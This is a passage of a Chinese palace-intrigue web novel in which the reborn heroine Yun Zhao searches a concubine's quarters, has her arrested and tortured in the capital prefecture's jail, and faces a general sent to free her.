姜珩却在这时,径直朝姜世安跪了下去,声音坚定:“爹,孩儿不想再在翰林院苦熬资历了。”
姜世安眸光闪烁,若有所思。
姜珩继续道:"妹妹不日就要成为太子妃,连姜云昭也即将嫁入秦王府。儿子不愿再这般蹉跎岁月!”
他抬起头,眼中闪烁着野心,“儿子想进刑部或是都察院,这两个衙门最易建功立业。”
灵峰侍卫说得对,如今玄察司新立,正需朝中有人监察,若是能进督察院,将来他也要处处留意着云昭的动向。
姜世安眸中闪过一抹激赏之色。
他这儿子从前虽有才学,但行事多少过于天真。
今日经历了身世被揭穿的打击,心性反倒成长起来了。
他微微颔首,正要开口,就听不远处传来一道熟悉的女声,清越中带着几分讥诮:
“兄长有此志向,实在令人感佩。不过,今日清早时,我还以为兄长头也不回地跑出去,是知羞耻、懂分寸,往后再不会回来了呢!”
姜家众人抬眼看去,就见云昭步履从容,衣袂翩跹,步步威压地踏上台阶。
她身后不仅有秦王萧启相随,还跟着一列玄甲护卫,气势慑人。
姜珩的目光与云昭在半空相交,耳听着她句句逼问,不由目光闪烁,袖中的手暗暗握紧。
姜世安本能地想要斥责,但看到紧随云昭身后的秦王,语气不由放缓:“阿昭,你兄长今日受了很大刺激,你就少说两句吧。”
云昭觉得简直可笑:“受到很大刺激的,难道不该是我?
若不是我通晓些玄门异术,恐怕至今都不知道,这个占了我兄长名分的人,究竟是从何处来的!”
姜世安觑着萧启冷峻的脸色,面上闪过一丝羞恼。
云昭当着秦王的面一而再、再而三地提起姜珩身世,实在是不给姜家留半分颜面!
姜老夫人见到云昭回来,脸上却不由浮起一抹满意与倨傲。
这孙女只是嘴巴硬了些,心里还是挺听得进她的话的!
早上时她就说过,让云昭今晚务必回府里来。瞧瞧,这在外面再风光又如何,到了时辰,还不是乖乖回家来了?
“阿昭长大了,行事也懂分寸了,知道让未来夫君陪着回来。”老夫人夸赞道,“如此甚好,免得旁人说闲话。”
云昭似笑非笑,并未理会她。
而是目光执拗地看向姜珩:“兄长,你我虽然同父,却不同母。你一直占着‘姜珩’这个身份,恐怕不太妥当吧?”
姜老夫人连忙打圆场:“也不是多大的事情!这些年叫''珩哥儿''都叫惯了,贸然改口,多别扭!”
姜世安也下意识点头,碍于萧启在场,又温声劝道:“阿昭。你兄长毕竟是考取功名、在朝为官的人。
你让他改名,旁人不明所以,必定会激起好奇之心。
你兄长的过往不宜张扬,你最识大体,此事就抬一抬手,让它过去吧!”
云昭却仍盯着姜珩:“兄长一直不说话,是在等家人替你求情吗?”
姜珩一直微垂着眼,清俊的面容上带着几分隐忍的狼狈,眼底深处却藏着不甘与阴郁。
他深吸一口气,朝云昭深深一揖,姿态放得前所未有地低:
“阿昭,今日之事,多谢你助我弄明白自己的身世。从前对你多有得罪,都是兄长的不是。兄长在这里给你赔不是了。”
云昭在看到他方才那个眼神时,心中一时警铃大作。
这一世自重生以来,姜珩在她面前虽偶有心虚,但多数时候都是一副好大喜功、自视甚高的模样。
可眼前这个将一切波澜压进心底,眼角眉梢都透出阴鸷的姜珩,才与她前世记忆中的那个兄长完全重合。
难道说,前世的姜珩比这一世更早知晓自己的身世?
对于重生一事,云昭满腹疑云,新仇旧恨涌上心头,她盯着姜珩看了一会儿,忽而一笑。
“我也不是小肚鸡肠之人。只是有一件事,咱们还是捋清楚了,免得伤了来日的和气。”
云昭目光如炬,紧盯着他道,“若他日我真正的兄长回来了,你待如何?你顶着姜珩的名字不放,让我流落在外的真兄长该如何自处?”
“怎么办?”一旁姜绾心小声嘀咕,“说不准早就死在外头了,还能怎么办?
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”
话音未落,她猛地对上秦王萧启投来的目光——
那眼神冰冷如刀,带着毫不掩饰的杀意,仿佛要将她千刀万剐!
姜绾心吓得一个瑟缩,慌忙往父亲身后又躲了躲,心里却涌起一股难以抑制的嫉恨。
她从前怎不知,这秦王竟是这般痴情种子,对一个女子如此死心塌地!
瞧姜云昭与他的相处,二人分明不像有过肌肤之亲!
可秦王对她这个阿姊,却真是捧在掌心怕摔了,像头护食的狼犬般寸步不离地守在一旁!
姜珩缓缓抬起眼,语气沉稳,眼神里却透出一丝煞气:"若真有那一日,我把这名字还他便是!"
云昭嫣然一笑:“好。有兄长这句话,我就放心了。"
云昭眸光流转,状似无意地扫过在场众人,故作才发现不对的惊讶:”梅姨娘人呢?"
此言一出,在场众人才发觉不对。
老夫人四下张望,连姜世安都面露疑色。
唯独姜绾心眼中闪过一抹心虚:“许是累了,先回房歇息了吧。"
云昭轻叹一声,语气无奈:”父亲,今日家中发生这许多事,我本意是大家都和和气气的。
但现在梅姨娘这样躲在府里不出来,实在让女儿很难做!"
萧启立在云昭身侧,瞧着她仿佛真万分无奈的模样,心里觉得好笑,面上却绷得十足冷沉:
"姜大人若成心阻挠,就休怪本王手下这些粗人不懂规矩了。"
他话音方落,身后一众玄甲卫兵齐刷刷上前一步,甲胄铿锵作响,凛然杀气瞬间弥漫开来,几步便踏上了府门前的石阶。
姜世安被这阵势惊得一愣,旋即勃然大怒:“秦王殿下这是何意?是要强闯我尚书府不成?”
一名卫兵经过时,肩甲不慎撞到姜绾心,她当即夸张地尖叫起来:“姜云昭!你疯了不成?仗着自己当了劳什子玄察司主,第一件事就带兵先闯自家府邸?”
云昭心中冷笑。
强闯府邸算什么?她还没直接将姜家抄家灭门呢!
重生归来之初,她满腔恨意,一心想着要让姜家这些薄情寡义之人血债血偿。
不论是前世压根未曾浮出水面的梅柔卿,还是今日才知晓的薛九……随着层层迷雾被拨开,她才惊觉,前世她被凄惨折磨,师门七十七条人命的血债,背后必定另有潜藏更深的元凶!
在将这一切连根拔起之前,姜家这些人的命,是引出真凶的饵,是揭开真相的棋,她通通暂且留着!
姜世安眼见那些杀气腾腾的卫兵竟真要闯入府中,急得额角青筋暴起,对府中下人厉声喝道:“还愣着做什么!快去请梅姨娘出来!”
他又转向云昭,语气软中带硬,“阿昭,适可而止!今日你双喜临门,本是天大的好事,何必将场面弄得如此难看!”
云昭闻言,脸色倏然一沉,她缓缓扫过姜家众人:“诸位以为我想如此兴师动众?实是梅姨娘牵扯进了一桩人命关天的大案,此案由京兆府尹赵大人亲自督办。”
说到这,语气陡然转厉,故意危言耸听道:
“若非顾念着尚书府这点微末颜面,此刻站在这里的,就不是我,而是京兆府的衙役,手持锁链,直接拿人了!”
她看姜世安的眼神,透着一种怒其不争的讥诮,“算了,我就辛苦一趟,亲自进后院,‘请’梅姨娘出来。”
说罢,她不再理会众人反应,径直迈过门槛,朝着后院方向走去。
萧启一个眼神,随行卫兵立刻训练有素地分散开来,把守住通往后院的各处门户,将前院众人隔绝在外。
云昭踏入后院,如入无人之境,目标明确,直扑梅柔卿的卧房,毫不客气地开始翻查起来——
这才是她今晚假意放走梅柔卿的真正目的之一!
第130章 姜绾心也一并带走!
梅柔卿的房间布置得清雅别致,若非云昭深知其底细,几乎要以为这是哪位书香门第闺秀的居所。她目光如炬,细致地扫过每一处角落。
不多时,云昭在其床铺底下的暗格,搜到一些巫蛊之物;
在妆奁盒的夹层中,找到几张数张绘制诡异的符咒。
以及一些看起来挺有意思的瓶瓶罐罐。
云昭随手打开其中一个,嗅到其中或辛辣的异样气味,唇角勾起一抹弧度:“好东西倒是不少。权当是给我这玄察司添些库藏了。”
“司主,”墨七的声音从角落传来,她屈指敲击着地面,在一处地砖前停下,“这里有空洞回响。”
云昭快步上前,示意护卫撬开地砖。下方竟藏着一处精心打造的暗格,里面整齐码放着三只乌木盒子。
其中两只已然空空如也。
当拿起第三只时,云昭掌心明显感到盒内传来细微的、令人不适的蠕动感。
她神色一凛,立刻将几只木盒谨慎地放入一个空置的大木匣中,吩咐道:“仔细封好,带走。”
这一趟搜查,收获远超预期,云昭很是满意。
待她走出庭院,迎上的是姜家众人神色各异的脸庞。
“梅姨娘并不在后院。”云昭面若寒霜,目光直刺姜世安,“父亲,人是在你眼皮底下不见的,她可是闻风逃了?”
姜世安浑身猛地一颤。
姜老夫人更是急急追问:“阿昭,你莫要吓唬祖母,梅氏她……她当真牵扯了人命官司?”
云昭眸光微闪,看着姜老夫人和姜世安道:“若我说出苦主是谁,祖母和父亲或许就不会觉得意外了。”
她盯着二人的脸色,一字一顿道,“是苏家人。”
姜世安瞳孔骤然收缩,震惊、心虚、狐疑种种情绪在他眼中飞快闪过,最终沉淀为一种骇然的明悟——
被云昭这么一诈,他也开始怀疑,梅柔卿是否真的私下动手了?
姜老夫人则倒吸一口凉气:“都过去多少**了,她疯了不成!”
云昭如愿从二人脸上看到了预期的慌乱与惊惧。她神色依旧冰冷,对姜世安道:
“父亲今夜且先安歇。我公务在身,耽搁不得,必须即刻缉拿梅氏归案。”
她盯紧姜世安,“还请父亲管好家人,莫要再与之牵扯,否则,届时我也未必保得住你们。”
姜绾心却不干了:“你不要血口喷人!我母亲跟你口中的命案根本毫无关系!”
她指着云昭道,“姜云昭,你给我听好了!太后娘娘亲口懿旨,明日要召我娘入宫觐见!你若敢动我娘,明日一早,我就进宫求见太后娘娘!”
“听你这意思,是知道梅氏现在何处?”云昭轻挑起眉梢。
姜绾心顿时语塞:“我、我怎么会知道!”
云昭了然点头:“看来是知道一些线索。墨七。”
姜绾心尚未反应过来,墨七已如鬼魅般上前,利落地反扣住她的手腕。
这一下,不仅姜世安与老夫**惊失色,连一直沉默的姜珩也急了!
“姜云昭!命你的手下放开心儿!”
“放心,只是请妹妹回去问几句话。问清楚了,自然完好无损地送回来。”
云昭语气轻描淡写,可她轻翘的唇角,流转的眸光,怎么看都像是蓄意为之!
临走前,她脚步微顿,回眸扫视众人,“诸位若是不放心,要不跟着同去?”
姜珩咬牙,上前一步:“祖母年事已高,经不起折腾,父亲还需坐镇家中。我陪心儿走这一趟!”
云昭见状,悠悠一笑:“兄长果然爱之深、关之切,令人动容。”
希望待会公堂之上真的动起刑来,他也能这般痴心守候,代为受过!
言罢,云昭头也不回,率先往外走去。
*
深夜。
梅柔卿步履匆忙,不时警觉地回头张望,像是受惊的雀鸟。
脚下的青石板路因夜露而有些湿滑,她几次险些踉跄,却不敢稍作停留。
她钻进一条狭窄的巷弄,七拐八绕,最终停在了一座破败的小庙前。
这庙宇门楣低矮,墙皮剥落,露出里面斑驳的砖石,匾额上依稀可见"痘神庙"三个字。
此庙供奉的乃是主管天花痘疹的"痘神",寻常百姓唯恐避之不及,生怕沾染上不洁之气,因此香火极其冷清,尤其是在这深夜,更显荒凉阴森。
梅柔卿并未走向正门,而是绕到庙侧一处更为隐蔽的后门。她先从怀中取出那破障珠,对着门缝轻轻一晃,一层极淡的、水波般的涟漪无声荡开。
随后她才伸手,在那陈旧的门板上,依照两长一短的特定节奏,轻轻叩响。
“吱呀”一声轻响,木门应声打开一条缝隙。梅柔卿侧身闪入,迅速将门掩上。
庙内更是昏暗,只有神龛前点着一盏如豆的油灯,光线摇曳,将殿内映照得影影绰绰。
一个身形偏瘦,披着宽大黑袍的人背对着她,端坐在一个陈旧的蒲团上,仿佛正对着那诡异的神像冥想。
梅柔卿快步上前,虔诚地跪倒在冰冷的地面上,朝着那背
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影盈盈拜下:“先生。”
那身影缓缓转过身来。油灯的光线勾勒出他略显苍白、五官却异常清晰的侧脸,一双眼睛在黑暗中显得格外幽深。
他的声音低沉,带着一种奇特的沙哑:"今日药堂之事,倒是我牵连你了。"
梅柔卿抬起头,脸上竟是一片近乎纯粹的感激与依赖。
她轻轻摇头,语气真挚:“先生何出此言?若非先生,韶梅早在二十几年前便已化作枯骨,哪还能苟活至今日?先生的再造之恩,韶梅粉身难报。”
薛九淡淡地看着她:“你倒是一直知道感恩。”
梅柔卿脸上浮现焦急之色,"先生,我今夜冒险前来,是为明日觐见太后之事……"
薛九打断她,直接问道:"那‘圣药’,献给太后了?"
“是!”梅柔卿连忙点头,语气带着一丝邀功般的肯定,“我家心儿亲眼看着她服下,并且一切都遵照先生的吩咐,以处子之血为引,一同服下了。”
薛九嘴角勾起一抹阴冷的笑意,在跳跃的灯火下显得诡异非常:“好,很好。”
梅柔卿却愈发焦急:“先生,若明日太后问起,或是宫中御医查验,我该如何应对?那药……”
她的话尚未说完,薛九眼中寒光一闪,动作快如鬼魅,猛地将脚边一个黑乎乎的东西朝她踢了过来!
“等你真能活过明日再说吧!”
那东西不偏不倚,正砸在梅柔卿身上,沉重而冰冷。
她吓得惊呼一声,下意识想要闪避,却已来不及,定睛一看,骇然发现那竟是一个昏迷不醒的老人——
正是回春堂的刘大夫!
只见他双目紧闭,脸色灰败如纸,胸口不见丝毫起伏,竟不知是死是活!
梅柔卿的脑子“嗡”的一声,一片空白。
几乎是在同时,“砰”的一声巨响,那本就破败的后门被人从外面狠狠撞开!
木屑纷飞间,无数手持钢刀的官兵如潮水般涌了进来。
官兵们手中的火把瞬间将这小庙后院照得亮如白昼,也映出了梅柔卿那张惨白如鬼的脸。
为首的正是李副将!
他目光如电,瞬间锁定一旁生死不知的刘大夫,厉声喝道:"果然是一伙的!拿下!"
几名如狼似虎的兵士立刻冲上前,不由分说,粗鲁地将浑身瘫软的梅柔卿从地上拽起,反剪双臂,铁钳般的大手死死将她摁住。
"带走!押回玄察司!"李副将手一挥,声音森冷,“奉司主之名,先将此人押入地牢,大刑伺候!”
第131章 在后颈烙下一个囚字
京兆府,大牢。
梅柔卿被两个士兵一路押进来时,还当姜云昭只是命这二人把她带到此地,威吓一番,之后再带回大堂听审便罢。
然而当她被粗暴地推进一间单独牢房时,她便知道,今夜之事,恐难善了!
一股浓重的血腥与霉腐混合的恶臭扑面而来,呛得她几欲作呕。
墙壁是暗沉的黑石砌成,上面挂满了各式各样形状可怖的刑具。地面湿漉漉的,踩上去黏腻不堪,角落里甚至能看到暗红色的、早已干涸的血迹。
一个身材高大魁梧的女牢头走过来,竟二话不说,命两个狱卒将她往刑架一捆,直接上手剥去她身上外裳!
哪怕是当年身为沈家女儿,被发配边城教坊司那几年,梅柔卿也从未受过此等**。当年她不仅有薛先生护持,更有姜世安源源不断地送来银钱。
那三年,她从未接客,在一间单独的院落,过着与从前身为世家小姐时相差无异的生活。
也是因为她始终保持着处子之身……直到等来姜世安,与他彻夜缠绵欢好,故而这些年来,她在姜世安心中的地位,是远超苏**这个结发妻子的。
然而此时,虽然动手剥去她外裳的是女牢头,但另外围观的几个狱卒可都是男子!
而那女牢头,正背对着她,慢条斯理地整理着一条浸过水的牛皮鞭!
梅柔卿目眦尽裂:“你们敢!我可是尚书府姜大人的妾室!我可是未来太子妃……”
那女牢头根本不容她说完,蒲扇般的大手猛地挥来!
“啪——!”
一记响亮的耳光狠狠扇在梅柔卿娇嫩的脸上。
那力道极大,梅柔卿只觉得半边脸瞬间麻木,随即是火辣辣的剧痛,耳中嗡嗡作响,眼前金星乱冒。
她喉头一甜,张口便吐出一颗混着血水的牙齿。
石牢头居高临下地看着她,声音粗嘎如同砂石摩擦:“京城这地界,最不缺的就是达官贵人。
咱们京兆府砍下的脑袋里,侯爵公卿、皇亲国戚的,也不在少数!
莫说你只是个妾,就算是正头的诰命夫人,犯了王法,进了咱这地界,那龙头铡、虎头铡、狗头铡,也一样伺候得上!”
她弯下腰,那张横肉脸几乎贴到梅柔卿眼前:“在我这儿,是龙你得盘着,是虎你得卧着。我说的话,你可听清了?”
梅柔卿脸颊迅速肿胀起来,嘴角不断淌出鲜血。
她终于意识到,这里不是她能撒泼耍横的地方。
她瑟缩着,声音抖得不成样子:“听……听清了。”
就在这时,旁边一个狱卒谄媚地递过来一件物事——
那是一只小巧的铜壶,壶嘴极细,下面还架着一个小小的炭盆,炭火正烧得旺,壶嘴处隐隐有热气蒸腾而出。
石牢头接过那铜壶,颇为爱惜地摩挲了一下壶身,慢悠悠地道:“这‘雀舌壶’,平日里用得少。能进咱京兆府大牢的贵人是多,但女犯却不多见。”
她看向梅柔卿,眼中竟流露出一丝近乎痴迷的兴奋光芒,“这可是我亲手打制的,专为你们这些细皮嫩肉的妇人准备。
壶里煮的是滚烫的椒油,用这雀舌般的壶嘴,一点点滴在……最娇嫩的地方,那滋味,保准让你记住一辈子。”
梅柔卿扫了一眼那冒着热气的壶嘴,又看向石牢头眼中毫不掩饰的、对施虐的渴望,她浑身如坠冰窟,拼命摇头,泪水混着血水糊了满脸。
她也算识人无数,自然知道,眼前这女牢头并非纯然恐吓她。此人对于折磨他人,怕是有着非常大的乐趣!
“我说!我什么都说!”梅柔卿嘶声尖叫,“我把今日为何去回春堂,通通都告诉你们!”
她语速极快,如同倒豆子般:“我与那薛先生是今年初春认识的!
那时我身上月事不调,去回春堂想寻大夫诊治,偏巧坐堂大夫都在忙。
那薛先生主动与我搭话,说他也能看,还当场赠了我一副药,说若吃了见效,以后有事还可寻他。”
“后来我又去找过他几次。”梅柔卿喘着气,继续道,“表面是去抓些治风寒头疼的寻常药材,实则是因为我发现这薛先生颇有能耐,似乎精通玄异之术。”
石牢头听到这里,脸上闪过一丝遗憾,手中摆弄雀舌壶的动作微微一顿。
梅柔卿捕捉到这一细微变化,心底不由生出庆幸——
她赌对了!
那李副将整日跟在姜云昭身边,今夜他既能那么快地出现在痘神庙,说明自己的一举一动,早已在姜云昭的监视之下!
就连她在姜府的房间,恐怕也早已被搜查殆尽!
此刻若硬扛着不说,只会遭受更可怕的皮肉之苦。
“起初,我只是想求他帮我笼络住夫君的心。”梅柔卿垂下眼帘,声音带上了一丝恰到好处的哀婉,“他给了我几道符咒,说是混在酒水里让心仪的男子饮下,便能令他死心塌地,只专宠我一人。”
此言一出,不仅石牢头眼神微动,牢房内另外几名狱卒,目光也瞬间聚焦在梅柔卿身上,带着惊疑与审视。
梅柔卿舔了舔破裂的嘴唇,尝到腥甜的血味,又接着道:“人一旦尝过这等玄术带来的甜头,便如同染上瘾疾。
后来,我求他办事的次数越来越多,他给我的各式各样的东西,符咒、药粉、乃至一些见不得光的器物,也就逐渐多了起来。”
梅柔卿口才极佳,将自己如何在姜府后宅艰难求生,如何为了女儿的前程苦心筹谋,如何因丈夫冷落而心生不安等事娓娓道来!
却偏偏不说自己与那薛九到底有何勾连!
石牢头冷眼旁观,见这梅柔卿巧舌如簧,旁边那几个原本对她不屑甚至带着狎昵目光的狱卒,眼神竟渐渐由轻视转为同情,不由在心中暗骂:
这妇人,果然如赵大人事先提点的那般,惯会蛊惑人心,绝非易与之辈!
石牢头把心一横,厉声命令道:“把她的头发给我撩起来,按住她!”
梅柔卿闻言大惊失色,挣扎哭喊道:“大人饶命!妾身所言句句属实,绝无半分欺瞒啊!”
石牢头一把抓过旁边火盆里烧得通红的烙铁,那烙铁前端刻着一个清晰的“囚”字,在火光下散发着令人胆寒的热气。
“你具体犯了何事,自有大堂之上的青天大老爷审问定夺。”她逼近梅柔卿,语气森然,
“但从我石三娘手里过的女犯,还没有谁能不留下点记号,就全须全尾地走出这间牢房的!”
话音未落,那烧红的烙铁已带着一股皮肉焦糊的刺鼻气味,狠狠地摁在了梅柔卿白皙的后颈!
“啊——!”一道凄厉至极的惨叫,划破牢房的死寂。
锥心的剧痛与难以忍受的羞辱感交织在一起,让梅柔卿几乎昏厥。
她猛地抬起头,眼中爆发出怨毒至极的光芒,死死盯住石牢头,嘶声诅咒:
“你这贱婢!今日你若弄不死我,他日我必让你求生不得,求死不能!我要将你千刀万剐,挫骨扬灰!让你永世不得超生!”
她嗓音嘶哑,诅咒之语却如同毒蛇吐信,狠绝阴戾,听得周围那几个原本还有些不忍的狱卒纷纷胆寒,下意识地后退了半步。
就在这时,牢房外间的通道里,突然传来一声带着哭腔的女声:“娘!你们在对我娘做什么?!快放了她!”
梅柔卿万万没想到,竟会在此处听到女儿姜绾心的声音,她愕然抬头。
然而,当她的目光越过泪眼婆娑的姜绾心,看清她身后站着的那人身影时,不由笑了起来。
“姜云昭……”她低声喃喃,带着一种近乎疯狂的快意,“我看你怎么跟我斗!”
*
京兆府,大堂。
夜已深沉,公堂之上却灯火通明。
云昭刚踏入堂内,一股暖意夹杂着食物的香气便驱散了身上的夜寒。京兆府尹赵悉笑眯眯地迎上前,手里端着一只
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青瓷碗,碗口热气氤氲。
“快,趁热尝尝,我二嫂特意炖的当归黄芪鸡汤,最是补气养血。”赵悉将碗递到云昭面前,语气熟稔,
“里面还卧了一只肥嫩的鸡腿,怕你光喝汤不顶饿,又特意添了一小撮银丝面。”
萧启的目光淡淡扫过赵悉身后,见再无第二碗,眉梢几不可察地动了一下。
“别瞅了,没你的份儿。”赵悉语气带着几分故意的揶揄:
“殿下从傍晚就进了宫,在里头陪着陛下,什么御膳房的好东西没尝过,难道还缺我赵家这一碗粗茶淡饭?”
云昭闻言,也侧目看向萧启。
萧启立刻微微俯身,对着云昭露出一抹堪称柔和的浅笑,低声道:“无妨,本王不饿。”
云昭:“……”
难道他饿了,自己就会把碗递过去不成?一个大男人,饿上几顿又能如何?
她可不一样。
自傍晚在竹山书院强行替白慕宁拔除那诡异的血噬降,她便觉得周身灵力几乎被抽空,随之而来的饥饿感,胃里仿佛有只手在抓挠。
两世修行,她经历过苦战,承受过重创,却从未有过这般仿佛身体被彻底掏空,又急需能量填补的感觉。
她是真的饿了。
云昭接过碗,一口肉,一口面,不多时便将一碗鸡汤吃得干干净净。
赵悉身旁跟着的老管家见状,脸上的皱纹都笑开了花:“姜小姐喜欢就好,往后啊,让我们夫人常给您送。”
又对赵悉躬身道,“大人,老奴这就回去向二夫人复命。”
萧启在一旁静静看着,忽然觉得自家王府的福伯等人,日子还是过得**逸了,怎么就没这般伶俐的眼色和心思?
“我听说,方才太子殿下从宫里出来时,随行的马车后头,还特意载着那只硕大的柏木桶?”赵悉脸上是掩不住的幸灾乐祸。
云昭眼皮轻抬:“赵大人消息这般灵通?”
“托陛下的洪福,咱们京城夜市繁华,通宵达旦,消息传得快着呢。”赵悉笑得像只偷腥的猫,
“岂止是我知道?我看啊,用不着等到明天,今晚,半个京城的人都要知道太子殿下‘荣宠’,得了个御赐的大桶回东宫日日相对了。”
萧启看着赵悉凑在云昭身边,双眼放光、喋喋不休的模样,只觉得格外碍眼。
他清了清嗓子:“赵大人,来年春天本王与阿昭大婚,这傧相之位,可是非你莫属了。”
云昭喝了一口清水,却道:“那也未必。”
此言一出,萧启与赵悉同时转头看向她。
云昭迎上两人的目光,坦然道:“来年春月,说不定殿下体内沉疴尽去。而我了却京城诸事,也想去四海之间游历一番,见识我朝壮丽山河。”
她顿了顿,目光清澈地看向萧启,“至于这桩婚约,本是权宜之计,彼此心照。殿下是洒脱之人,届时无需再被此事束缚。”
萧启眸色瞬间幽深,复杂的情绪在眼底翻涌。
他张了张嘴,尚未出声,一旁的赵悉已抢先一步惊喜道:“如此说来,你二人的婚约……竟是假的?”
他一时喜形于色,嘴角都快咧到耳根。
就在这时,堂外传来一道沉浑冷硬的声音:“赵大人好大的官威!深夜升堂,拘押官眷,不知可否知会过上官?”
赵悉听到这声音,面色骤然一肃,收敛了玩笑之色。
云昭也循声望去。
只见来人约莫四十上下年纪,身形魁梧挺拔,虽穿着一袭深蓝色寻常锦缎常服,但步履间自带一股沙场征伐淬炼出的凛冽气势。
他面容刚毅,下颌线条紧绷,一双鹰目锐利如刀,扫视堂内众人时带着居高临下的审视。
此人正是孟贵妃的兄长、安南大将军孟峥麾下的得力副将,徐莽。同时也是云昭此前之外多个场合曾见过那位余氏的夫君。
萧启目光微凝,低声道:“看来,孟峥不日便要抵达京师了。”
第132章 你竟敢偷我的嫁妆!
“殿下!”李副将步履生风地踏入堂内,身后两名士兵一左一右,几乎是拖着将梅柔卿押了上来,将人重重推倒在地。
梅氏踉跄着伏在冰冷的地面上,她脸色惨白,鬓发被冷汗浸透,凌乱地贴在脸颊上。
后颈衣领处微微敞开,一个新鲜烙上的“囚”字赫然显露,边缘皮肉翻卷,隐隐渗出血水,触目惊心。
紧随其后的是满脸焦急的姜绾心,以及神色复杂的姜珩。
姜绾心一见母亲如此惨状,心如刀绞,扑上前扶住梅氏,抬头便朝着云昭厉声唾骂:“姜云昭!你简直丧心病狂!我娘再怎么说也是你的庶母!
你竟敢未经升堂审问,就滥用私刑!还用这等残忍的烙铁!你这般狠毒,就不怕天打雷劈吗?!”
梅柔卿虚弱地倚在女儿怀中,抬眸看向云昭的目光却充满了怨毒与一种近乎疯狂的猖狂。
多亏了薛先生和他背后的贵人步步为营,用心谋算——
如今,不仅心儿得了太后青眼,自己更有贵妃娘娘在背后撑腰!
姜云昭,你就算掌管了玄察司又如何?你能斗得过圣眷正浓的贵妃?能斗得过皇帝的亲娘太后?
这世道,光有本事顶什么用?最终还不是要被真正的权势踩在脚下,碾作尘埃?
能攀上高枝,借力打力,那才是真本事!她梅柔卿能从一个罪臣之女爬到今天,靠的就是懂得依附强者,识时务!
姜绾心骂完,却发现一旁的兄长姜珩并未像往常那样立刻出言维护,不由抬起泪眼,带着求助与不解看向他。
姜珩的目光却扫过一旁神色倨傲的余氏,以及站在不远处、面色沉凝的徐莽,心中念头飞转。
今日之事,处处透着古怪。
贵妃深居宫中,消息再灵通,也不可能如此迅速地知晓梅氏被京兆府带走,还这么快就派了徐莽和余氏夫妇前来捞人。
他脑海中不由闪过一个模糊的道人身影……难道是太子?
可若是太子,他如何能指挥得动徐莽?
徐莽乃是安南大将军孟峥的心腹爱将,若说贵妃能使唤得动尚有可能,太子……
他猛地想起今日在外游荡时听到的那些不堪传言,一时心神剧震:太子与贵妃……难道那些流言蜚语,竟是真的?
若果真如此,那一心期盼着太子妃之位的心儿,又将置于何地?
他目光不由看向扶着梅氏、满脸愤恨委屈的姜绾心,眸中闪过一抹深切的痛惜。
姜绾心却误解了他的沉默,只当是兄长今日接连受挫,心神恍惚,未能及时反应过来为她撑腰。
李副将此时上前一步,声音洪亮禀报道:“殿下,赵大人,若非司主早有预见,命属下提前在大狱看守,这位徐夫人便要带着家将,强行将犯人梅氏带走了!”
他语气冷硬,毫不客气,“非但如此,他们还动手打伤了好几名狱卒。”
赵悉闻言,夸张地“嘶”了一声,皮笑肉不笑地看向余氏:“哟,看不出来呀!本官手下那些狱卒,个个都皮糙肉厚的,您这细皮嫩肉的,也真下得去手?”
余氏脸上闪过一丝尴尬。
其实那几人并非她所伤,而是梅氏见她带人前来,自以为有了天大靠山,气焰瞬间嚣张,竟抢过旁边一条水牛皮鞭胡乱抽打。
也不知是这梅氏急怒攻心之下,真有几分蛮力准头;还是赵悉这些堪比滚刀肉的手下太会碰瓷——
当时在场的四名狱卒,竟有三人“哎呦”着倒地!其中一个大呼小叫,声称扭伤了脚踝!
但这等细节,她当着自家夫君的面尚可分辨,此刻在外人面前,尤其是秦王和赵悉面前,却绝不能说出来弱了气势。
他们夫妻二人是接到密令,务必保住梅氏,若在这个节骨眼上节外生枝,耽误了正事,后果不堪设想。
徐莽也没料到,今夜的京兆府内,秦王萧启竟也在场!
他目光扫及面色冷淡、不怒自威的秦王,不由心头一紧,硬着头皮上前,抱拳行礼:“末将徐莽,参见秦王殿下。”
萧启目光落在他身上,语气平淡无波:“徐将军何时回京的?”
徐莽垂首:“回殿下,末将是今日傍晚时分抵达京城。”
萧启眉梢微挑,继续问道:“既已回京,可曾先去兵部报到?觐见过陛下了吗?”
徐莽额角瞬间渗出细密冷汗,支吾道:“这个……末将,末将因有些私事亟待处理,故而……尚未……”
他赶在大将军孟峥之前先行回京,本另有要务,今夜更是奉密令保住梅氏!
却万万没想到,此事不仅涉及姜云昭和京兆府,竟还牵扯到秦王,心中不由懊悔万分,暗骂情报不准。
云昭不紧不慢地开口,故意问道:“徐将军深夜携夫人前来京兆府,可是要带走案犯梅氏?”
徐莽抬眼扫了云昭一眼,神色便带上了几分天然的傲慢:“正是!”
他挺直腰板,语气带着训诫之意:“徐某虽还未正式入京复命,却已听闻姜大小姐手段不凡,执掌玄察司。
却不想,堂堂玄察司主,竟是如此行事!羁押庶母,严刑拷打,甚至强行从府中带走亲生妹妹,实在令**开眼界!”
云昭淡声道:“玄察司查案,依的是大周律法,行的是陛下赋予之权,无需向徐将军一
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一汇报。
徐将军既是受人所托,身不由己,不如就此回去,照实复命即可。
想来,托付之人知晓此间情形,也不会过于为难将军。”
徐莽没想到,云昭竟一开口就戳破了他此来是受人所托,脸色一时更加难看。
他感受到身旁秦王那越来越冷冽的目光,但想到背后的命令,仍是梗着脖子,强硬道:
“司主此言差矣!梅氏乃是官眷,即便有嫌疑,也当依律审理,岂能动用私刑,肆意折辱?
今夜,徐某必须将人带走!”
“姜小姐何必顾左右而言他?”余氏也在一旁帮腔,
“我看梅娘子伤势沉重,若再耽搁下去,有个三长两短,明日太后娘娘和贵妃娘娘问起,姜小姐怕是担待不起吧?”
云昭看着这对气势凌人、一唱一和的夫妇,忽然轻轻叹了口气。
那叹息声中带着一丝怜悯,仿佛在看两个即将大祸临头却不自知的可怜虫:“徐将军自家后宅之事,已然够繁忙劳心,何必还要为他人的闲事如此奔忙卖命?”
徐莽和余氏被她这没头没脑的话说得一愣,皆是疑惑不解。
云昭忽而笑了笑,语气带着一丝玄妙的意味:“徐将军这几日星夜兼程赶路回京,可曾觉得肩膀格外沉滞酸痛,脖颈转动不灵,仿佛背负了什么重物一般?”
徐莽起初莫名其妙,越听下去,脸色越是微妙地发生了变化。
他下意识地抬手,摸了摸自己的后颈,心中惊疑不定——
这症状,自他归来途中便隐隐出现,越是接近京城就越明显,他只道是连日骑马奔波所致。
余氏却按捺不住咕哝了句:“故弄玄虚!”
云昭不理会她,只是看着徐莽,眸光微转,仿佛在仔细端详徐莽身后那看不见的“东西”:
“将军背上这位姑娘,看上去年方二八,身着水绿色襦裙,梳着堕马髻,生得杏眼桃腮,右边鬓角处,有一粒小小的朱砂痣,颇为惹眼。”
随着云昭将那女子的形貌特征一一道来,徐莽的脸色从最初的疑惑,逐渐转为惊诧,再到一丝难以掩饰的慌乱。
他放在后颈的手不自觉地收紧,指节泛白。
